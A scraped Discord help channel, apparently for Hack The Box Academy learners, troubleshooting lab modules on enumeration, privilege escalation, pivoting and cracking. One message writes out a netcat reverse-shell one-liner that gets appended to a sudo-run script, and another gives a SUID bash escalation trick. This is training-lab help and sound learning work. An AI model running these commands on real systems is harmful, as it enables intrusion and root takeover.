Hello everyone, I am doing the final exercise of this chapter: FILE UPLOAD ATTACKS, I managed to take all the information necessary to create a payload to create a reversed shell but I think I have a problem in my payload, could you help me? I am mainly looking for the procedure that I must carry out. I analyzed my files (upload.php and common-functions.php) so I am informed, I was told to do this but obviously it still does not work...

wild oriole
buoyant escarp
fathom pendant
#

@gray shoal next time ask for permission before dming

#

and 2 i don't know that person

dreamy solar
buoyant escarp
dreamy solar
#

what is NVM ? I am French ^^"

fathom pendant
cedar yew
#

Module: Information Gathering - Web Edition
tasks: Active Subdomain Enumuretion

hi guys i have a problem
I added the domain and IP address of the machine in the question to the host file, but I cannot analyze it with the nslookup tool.

#

i can ping inlanefreight htb

fathom pendant
#

nslookup domain ip

#

nslookup inlanefreight.htb target_ip

cedar yew
#

*** Can't find inlanefreight.htb: No answer

#

i dont understand why isnt working

fathom pendant
#

you need to use the target_ip to query it with

cedar yew
#

my etv/hosts

machine_ip inlanefreight.htb

fathom pendant
#

you still need to specify the ip with nslookup

#

otherwise it just attempts to use public dns servers, which will fail

cedar yew
#

okey understand but not working
nslookup inlanefreight.htb 10.129.97.97
Server: 10.129.97.97
Address: 10.129.97.97#53

*** Can't find inlanefreight.htb: No answer

#

10.129.97.97 (machine_ip)

fathom pendant
#

are you connected to the vpn?

#

:)

cedar yew
#

yeap

#

and im looking web page use the apache

fathom pendant
#

try removing it from the /etc/hosts file and see if that makes a difference

#

i remember it being a bit odd at times

cedar yew
#

oky im try

#

reset the machine and remove my hosts conf and again added now i have diffrent error
** server can't find <diffrent_ip>.in-addr.arpa: NXDOMAIN

cedar yew
#

hosts file

new_ip inlanefreight.htb

fathom pendant
cedar yew
#

Module: Information Gathering - Web Edition
Sıbject: Active Subdomain Enumuretion
tasks1 : Submit the FQDN of the nameserver for the "inlanefreight.htb" domain as the answer.

fathom pendant
#

nslookup -type=NS inlanefreight.htb ip?

cedar yew
#

oh okey its working

fathom pendant
#

you needed to specify the type

#

that's why

cedar yew
#

i think maybe this machine have a problem

fathom pendant
#

no

cedar yew
#

bcs before use the command and not working
commnand-> nslookup -type=ANY inlanefreight.htb ip

fathom pendant
#

works fine for me

#

you need to read the section again to understand the commands

#

because you need to add a -query type

cedar yew
#

yeap understand thx

umbral fulcrum
#

hey guys, did someone here do the prolabs?

fathom pendant
#

this channel isn't related to prolabs

umbral fulcrum
fathom pendant
#

eh i wouldn't say equivalent

#

i would say it helps but i wouldn't go as far as to say it's equivalent

#

i.e. CPTS covers 80% of what you'd find on Zephyr

#

but i wouldn't say it's 1::1

umbral fulcrum
#

that's how it's exabits

#

modules + certificate = prolab

fathom pendant
#

¯_(ツ)_/¯

#

not to mention a few of those are outside of the course

umbral fulcrum
#

that's Y I'm asking
& it's knida annoying

fathom pendant
#

but it being equivalent is kinda not correct to say

#

those modules will help you understand and adapt your techniques to attack the prolab

frosty spade
#

there has to be an easier way to get the shell code for the intro to assembly skill question1

next bronze
#

cyberchef

#

but I'd recommend sticking with what you know with gdb first

rustic sage
#

Hello I am new

next bronze
wild oriole
#

Guys, do you think Mac M1 Pro is good for bug hunting and penetration testing??
I'm a software engineer and I'm using it for my daily full time work

rustic sage
#

Any admins here? Please?

#

I need help

fathom pendant
#

literally if you clickthe member list next to the search bar on desktop if you don't already see the list on the righthand side

rustic sage
#

Dude I alrdy know

fathom pendant
#

plenty of mods are online rn

rustic sage
#

It's just that

#

No one is replying

fathom pendant
#

then be patient

#

4HEad you're not owed any sense of rushed support

rustic sage
#

@frosty spade

#

Nvm

#

I need admins help

fathom pendant
#

just chill and wait

frosty spade
#

i can see your name basilisk

fathom pendant
#

@frosty spade he's trying to link his htb account

frosty spade
#

oh

fathom pendant
#

his discord username is basilisk that doesn't mean that's his htb username

rustic sage
#

Basilisk is a Harry potter character fam

frosty spade
#

i know go team slytherine

fathom pendant
#

while technically true, the Basilisk is a mythological creature from before Harry Potter

rustic sage
fathom pendant
rustic sage
frosty spade
#

man whoever wrote this module should be old yellard im going in circles been at this for 4 days

next bronze
#

it is indeed, skill issue. the module is quite well writtern imo

fathom pendant
#

also @next bronze offered help

fathom pendant
frosty spade
#

its ment to be an introduction what does an intro gotta do with skill im starting in something the question acts like ive been reasearching this for years

young depot
#

Hi everyone, please if anyone know from where I learn how to perform phishing assessments if you have any resources or courses please recommend
TIA

urban sage
#

@rustic sageDm me.

pine dagger
#

Intro Assembly is very much an intro to the topic. You really don't need to know anything to follow it. It's not going to make you a pro.

young depot
tidal kelp
#

Module: Linux Priv Esc > Capabilities
Having some issues to override the /etc/passwd. I've identified that the vim.basic has the capability needed. When trying to edit the file in VIM I'm unable to exit, and doing it in a non-interactive way doesn't change the file...

Any ideas?

pine dagger
rustic sage
#

@urban sage

tidal kelp
young depot
rustic sage
#

Can anyone gimme link to discord developers

fathom pendant
#

unless i'm missing something

fathom pendant
#

this channel isn't even remotely related

rustic sage
#

U gotta be a dev to join in?

fathom pendant
#

then it's likely invite only via admins of the server ¯_(ツ)_/¯

#

meaning even if you were to be given an invite by some rando -> you'd be kicked

pine dagger
fathom pendant
tidal kelp
fathom pendant
#

i forget how vim works sometimes

#

considering how often i use it, i should know more

tidal kelp
fathom pendant
#

i'm thinking q!

#

not wq!; i generally don't use ! after wq

tidal kelp
#

ah

fathom pendant
#

because wq should just work without it

tidal kelp
#

sometimes you need to read what others wrote...

fathom pendant
#

that's what threw me off

fathom pendant
tidal kelp
#

sorry was speaking to myself .P

pine dagger
fathom pendant
#

¯_(ツ)_/¯

zenith token
#

Currently Working on the Module "Windows Event Logs & Finding Evil". I am at the section "Analyzing Evil With Sysmon & Event Logs". When being connected via the RDP Session the Remote machine is suuuuper slow, barely usable. Anyone else had the same problem? Is this just how it is?

frosty spade
#

@next bronze for the win thanks for steering me to the right path instead of the cliff I was heading down

zenith token
rustic sage
#

File Inclusion skills assessment

I've identified the working PHP wrapper but can't get around the appended extension, currently trying to find some sort of hidden page but the wordlists aren't finding any. Tips/ideas? Please nothing big, just need a small hint

stoic arrow
#

cracking with hashcat cracking common hashes. i'm supposed to have any clue on which builtin should be using? i've already tried some with the rockyou wordlist

fathom pendant
stoic arrow
#

Yeah, I already had the mode, but I don't know if I should just try all the builtin hashcat rules until I find the right one or is there some clue I'm missing?

fathom pendant
#

why are you using rules?

#

also see if there's a resources button for the module near the top of the screen

#

that may have a given pw list

short gulch
#

DIGITAL FORENSICS Skills Assessment "Determine the IP address of the C2 Server"
Is there a better way than launching ||netstat || bunch of times and "hoping" to get it? I couldnt find this IP in ||arpcache ||

stoic arrow
fathom pendant
#

idk i haven't done this but it seems weirdly vague; look at the examples maybe and try one of those?

#

best64 maybe

stoic arrow
#

i've already tried best64, and i also thinked about examples, but in this section there are none with hybrid attack or rules. Prior sections used leetspeak but didnt work either. Im probably missing something or writing something wrong, because it seems too vague for a module exercise

#

thx anyway

fathom pendant
#

¯_(ツ)_/¯

#

hashcat module yeah?

stoic arrow
#

y

fathom pendant
#

(it helps to include that kind of info in your initial ask btw)

stoic arrow
#

mb

fathom pendant
#

best form for asking questions is:
Module name, Section name, What you're stuck on - what you've already tried

frosty spade
#

hello people anyone else stuck on pivoting and tunneling my packets get discarded outside recive window for the ptunnel section

rustic sage
#

Did you ever figure this out?

sullen kayak
#

Hey can i ask, what do people do in HTB-A if you run into some very slow VMs when you connect to them?

fathom pendant
sullen kayak
blazing juniper
#

hey, I'm in the footprinting module, "footprinting Lab - hard" section (the last one)
I scanned every port, TCP and UDP discovering pop3, Imap and snmp port open.
I used onesixtyone to find a community i could use braa on, but I have nothing as an output.
I'm almost sure I should find something based on what i saw on different forums, so I'm kinda clueless atm
my exact command
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt <ip>
any help ? 😮

sullen kayak
#

If you are doing academy stuff, are your VM always just fast? Mine seems to lag quite a bit when fx backspacing in the terminal...

fathom pendant
#

(if not are you sure you're connected to the vpn?)

blazing juniper
#

I don't even have anything as an output, so no " [xxxx] "
I restarted the box without success too

fathom pendant
#

:)

#

(also that wordlist is in SecLists so if it's not on your computer just download the SecLists repo)

blazing juniper
#

lmao that worked

#

tysm, i was starting to lose my mind over this

fathom pendant
#

good luck with the next bits

#

imaps is my preffered way; but pop3s works just as well

pure sorrel
#

Hey all, I'm really struggling on the Attacking Enterprise Network: Enumeration and Privilege Escalation. The proxy I set up with ssh dynamic port forwarding and foxy proxy stops working after like 5 minutes, so I tried setting it up with the teams.exe example with msfvenom, but don't know how to get that file and run it on the DEV01 host.

vague token
#

Anyone else have a painfully slow RDP connection today in the pwnbox?

languid wharf
#

Hi, can someone help with the logrotate privesc section? ||I execute the logrotate binary as explained, and when I invoke the logrotation myself by echo hello > access.log, the exploit code finishes as he should, and I still don't see the temp access.log in /etc/bash_completions.d/||

fathom pendant
languid wharf
#

I know, but it doesn't really matter for this purpose I think

mossy bison
#

i was doing other work, but i was able to use nmap scans and got the service running on port 22 and did a search for some exploits for that service which was OpenSSH 8.4p1 Debian 5+deb11u1. All i could find was a sid exploit which is exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection, there were a couple but this is the one i picked under sid but i picked this one i forgot why its been some hours since i was last on. when use the show options cmd im not sure what options i need to set. i know it says that any option that has yes needs to be set but i followed along with the section and just changed the RHOSTS and LHOST to what was shown and used check but got back an error. Am I using the wrong exploit search or am i supposed to find an ip to connect RHOSTS to and then keep LHOSTS tun0? Dm me with any helpful information thanks!

fathom pendant
#

just visit the webpage that's given to you

#

also RHOSTS will be the given IP; RPORT will be the given port

#

since it's a public page (indicated by the public IP) then anything relying on a reverse shell is gonna go nowhere fast

barren salmon
#

Hey. im doing the nibble box and i keep getting this massages when i try to run the monitor.sh to escalat privilege

<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
sudo: /home/nibbler/personal/stuff/monitor.sh: command not found
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
LinEnum.sh  monitor.sh    wget-log
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

i followed the intructions from the "Getting started modul" and i cant figure out why this dosent work for me. im unabel to get root

mossy bison
#

okay. ill try and figure out what the website is

fathom pendant
#

:)

mossy bison
#

okay!! im most likely overthinking it then, thanks for the help!!

fathom pendant
#

yep

#

the vuln is staring right at you

#

plugins are nasty

fathom pendant
barren salmon
fathom pendant
#

iirc

#

yeah the sudo perms is for the full path

#

when you ls -la the file does have rwx perms yeah?

barren salmon
#

AAR okay it has -rw-r--r--

fathom pendant
#

chmod +x it

tidal kelp
#

I just did the Vulnerable Services section on the Linux priv esc module. If one would like to search for vulnerabilities, in services. Is it exploitDB the way to go, or are there any other good recommendations?

barren salmon
#

fu** lost my connection. brb

tidal kelp
#

Serachsploit maube

barren salmon
#

oh yes now i can runnet but get thiss nes problem

<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
misty bough
#

Hey when doing the dancer course I get
/James.P> get flag.txt. Error opening local file flag.txt

barren salmon
#

no uid=(root) or anyting

fathom pendant
#

yeah it's funky sometimes; i forget if there's anything else you gotta do

limber river
fathom pendant
barren salmon
#

hmm i unzip the personal.zip. appended the reveraw shell code on the monitor.sh. i opened a connecet via port8080 and donwloaded the LinEnum.sh file. made it a executable and the run it. i used a lisner on port 8448 to make a reverse shell, run the moniter.sh but that failed

fathom pendant
#

you mean the revshell from the section

lusty thicket
fathom pendant
#
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
``` this one
barren salmon
limber river
fathom pendant
#

if they're following exactly from the section

limber river
barren salmon
#

this is just a pic of my ip

lusty thicket
limber river
fathom pendant
barren salmon
#

yah i think i got it temporary, but i have not root

fathom pendant
#

"not have root"

#

elaborate; did you attempt running commands

lusty thicket
#

try

barren salmon
#

mybe this helps?

analog dock
#

Does the script just execute your code? Otherwise just use chmod u+s /bin/bash

#

And then /bin/bash -p

limber river
lusty thicket
fathom pendant
limber river
#

I mean why ^C ?

barren salmon
#

ya after som time i killed it in frustation

fathom pendant
limber river
lusty thicket
barren salmon
#

yah but i only killed it after severel attemps

limber river
limber river
lusty thicket
fathom pendant
#

anyway

#

your issue is that you killed the initial shell

barren salmon
fathom pendant
#

you're not showing any commands run with the 8443 listener

lusty thicket
fathom pendant
lusty thicket
limber river
#

it should work

fathom pendant
limber river
lusty thicket
barren salmon
fathom pendant
#

that's the connection

#

but i'm not seeing any commands run to check any code execution is the point

lusty thicket
barren salmon
#

oh okay. maybe i did it wrong becuse on the other therminal i got this massage and i thorgth. Ah man not again so i killed it

fathom pendant
#

4HEad from the 8443 connection; try running commands

#

that's what we're asking you to do

analog dock
#

Just do the chmod u+s /bin/bash already

#

This is taking way too long

lusty thicket
fathom pendant
#

i honestly do not know

analog dock
#

If it executes code it will

barren salmon
#

i execepted a uid=0(root) gid=0(root) groups=0(root) masages in one of thoes terminal. maybe i fucked up at the end.

fathom pendant
barren salmon
analog dock
lusty thicket
fathom pendant
#

you need to run commands for it to execute commands

barren salmon
fathom pendant
#

machines don't run code without you telling them to ¯_(ツ)_/¯

#

the command you echoed into the monitor.sh was a reverse shell command

barren salmon
fathom pendant
#

you don't need to censor yourself

#

comical as it is, fuck, shit, damn are all allowed here

analog dock
#

What does the script do

#

Does it just execute a bash file you wrote?

fathom pendant
#

what script?

analog dock
fathom pendant
#

monitor.sh? is just a script that was in the zip file

analog dock
#

Or py

barren salmon
analog dock
fathom pendant
#

yes

#

lol and it conveniently has sudo perms

analog dock
#

Ok, just put chmod u+s /bin/bash in it

fathom pendant
#

this is what's being followed

analog dock
#

I’m on mobile, not logged in

fathom pendant
#

btw this is the "getting started" module

#

it doesn't go over anything like sticky-bits

analog dock
#

It’s a good trick to learn either way

barren salmon
limber river
analog dock
fathom pendant
analog dock
#

Then run the script with sudo

analog dock
fathom pendant
#

instead of throwing something completely different at it

rustic sage
#

hey guys, got a bit of a different question. i'm running kali linux on a vm. But its reallly really slow, i already put my video memory to max, my got 12 gb ram for it, 2 core processors. but still really slow, anyone any tips?

fathom pendant
analog dock
#

Meh

barren salmon
fathom pendant
analog dock
limber river
fathom pendant
lusty thicket
barren salmon
fathom pendant
analog dock
#

After that run it with the sudo command, and then ls -la /bin/bash to see if the perms changed

rustic sage
limber river
fathom pendant
#

causing heavly degraded performance

rustic sage
#

aaah alright understandable, thanks

analog dock
fathom pendant
barren salmon
fathom pendant
#

getting-started is a barebones sort of "here's some not-so complex things"

barren salmon
fathom pendant
#

just gotta make sure you pay more attention to the module

barren salmon
fathom pendant
#

btw: the module even shows using the id command

barren salmon
fathom pendant
#

and tbh taking notes is super important/key to your success

barren salmon
#

anyways. many thanks for the help. ill try the box again and use what you guys told me here. once again thank you all 🙏

sterile epoch
#

I am in the tunneling with ICMP echo I am getting this error when I use the command
ssh -p2222 -lubuntu 127.0.0.1

#

I am running both server and client as sudo

frozen stone
#

Hey everyone, has anyone completed the Injection Attacks module? I need some help

limber wasp
#

Hey guys, I'm not sure where I need to post this... When I was going to the webshell, the target ip, in the Pivoting, Tunneling, and Port Forwarding - Skills Assessment module and theres this. Trying to upload a script, malware.

pure sorrel
#

Is anyone available to pm about the Attacking Enterprise Network module?

fathom pendant
cedar void
#

"+ 0 Find another user with the "Do not require Kerberos pre-authentication setting" enabled. Perform an ASREPRoasting attack against this user, crack the hash, and submit their cleartext password as your answer. "
https://academy.hackthebox.com/module/143/section/1276

I found the other user (there are only two users who meet this condition and the other one is the one that I submitted as the answeR) and I found their password(using the tools mentioned in this section) , but its not accepting my answer

fathom pendant
hallow remnant
#

Module: ADVANCED XSS AND CSRF EXPLOITATION
Section: CORS Misconfigurations

This section has really worked me over. Can I PM someone with some Qs to help move my comprehension forward?

gaunt igloo
#

Oh grow up

#

Post the rule then - but you cant.

analog dock
#

Lol

gaunt igloo
#

Haha whatsup

#

Cool nicks

midnight galleon
#

Whoever designed the labs for the footprinting modules, great job my frenlovethebox

analog dock
#

Rule 1

gaunt igloo
#

0x is my jams

gaunt igloo
midnight galleon
#

Was a brainfuck to me but I really enjoyed solving it

buoyant escarp
gaunt igloo
#

Dont censor me.

#

Worry about yourself.

#

Leave me alone.

lusty thicket
solar flicker
#

damn i cant nerd react him

#

💀

midnight galleon
solar flicker
#

I love the laws and ethics included in the bio but clearly doesnt follow laws or have ethics

buoyant escarp
sterile hawk
midnight galleon
buoyant escarp
sterile epoch
#

what should I do now?

fathom pendant
sterile epoch
#

yes I turned it off now its working

fathom pendant
rustic sage
#

in Login Brute Forcing > Service Authentication Brute Forcing:

"Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?"

it says its going to take 24 hours to run with the william.txt i created in the same way they did. did i do something wrong?

fathom pendant
#

or

buoyant escarp
#

lazagne.exe immediately closes its terminal window when finished, i dont have the time to read the ouput that fast, i tried to write the contents into a txt file so i can review it in time but its empty :S
any ideas?

fathom pendant
#

there's a tool called ssb that works really REALLY well

rustic sage
#

it just says SSH though in the question and i did everything as asked

fathom pendant
#

it's actually goated apparently

rustic sage
#

🍗🍗🍗

fathom pendant
rustic sage
#

yes !

fathom pendant
#

this isn't a gen chat btw

#

read #welcome to find out how to access more of the server

sterile epoch
#

any advice?

fathom pendant
#

a -> b -> c

#

3 machines total in this excersize

#

read the section carefully

rustic sage
#

i shouldn't have to learn tools that weren't mentioned should i

#

just for the purposes of completing the content

fathom pendant
#

i mean no; but knowing more tools is certainly helpful

rustic sage
#

i understand i can and it's cool to look at other tools but i feel like ive done something wrong if i follow it exactly as they told me to and it takes 24 hours to run

fathom pendant
#

just because it says 24 hours doesn't mean it will actually be 24 hours

rustic sage
#

it really seemed like it would considering it was at like 40 requests a minute

fathom pendant
#

that's just the time to go through the entire list

#

but yk you should get a hit way before then

rustic sage
#

yeah

midnight galleon
rustic sage
#

I know that

midnight galleon
#

You need to try things and search more

rustic sage
#

if it was a box of something i was trying to crack i would agree but when being taught a tool to brute force ssh you'd expect it to run in reasonable time in the example given

fathom pendant
#

you'll still get a hit before the lab dies ¯_(ツ)_/¯

thorn urchin
fathom pendant
thorn urchin
#

imagine not checking for other services that utilize the same authentication source

sterile epoch
# fathom pendant a -> b -> c

a is my pwnbox
b is the rdp windows pivot box
c is the target

I am in the pivot box. I am trying to winrm session with target c. but I am getting this error

fathom pendant
#

A is target, b is second box, c is final

sterile epoch
#

but I am in the rdpoversocks section
Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop.

this is the task

fathom pendant
fathom pendant
#

Which is why I'm telling you you missed something

dull moth
#

hi good night, anyone who already complete the Footprinting Lab - Hard and can answer me question?!

dull moth
fathom pendant
#

We can't answer a question you don't ask

#

¯_(ツ)_/¯

dull moth
#

i want to understand why i should bruteforce snmp

fathom pendant
#

Because that's one of the only services available that doesn't have auth

sterile epoch
# fathom pendant Check ipconfig on this device, it's not o. The Jason subnet

I found 3 interfaces 1 lo 1 to my pwnbox and the last to 172.16.0.0 network

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::5b
   IPv6 Address. . . . . . . . . . . : dead:beef::71ce:9ef2:b086:29ee
   Temporary IPv6 Address. . . . . . : dead:beef::b5e2:4628:d04:b82f
   Link-local IPv6 Address . . . . . : fe80::71ce:9ef2:b086:29ee%9
   IPv4 Address. . . . . . . . . . . : 10.129.42.198
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:e928%9
                                       10.129.0.1

Ethernet adapter Ethernet1 2:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::98f5:5ae5:5223:4310%4
   IPv4 Address. . . . . . . . . . . : 172.16.5.150
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 172.16.5.1
fathom pendant
#

Just a community string

fathom pendant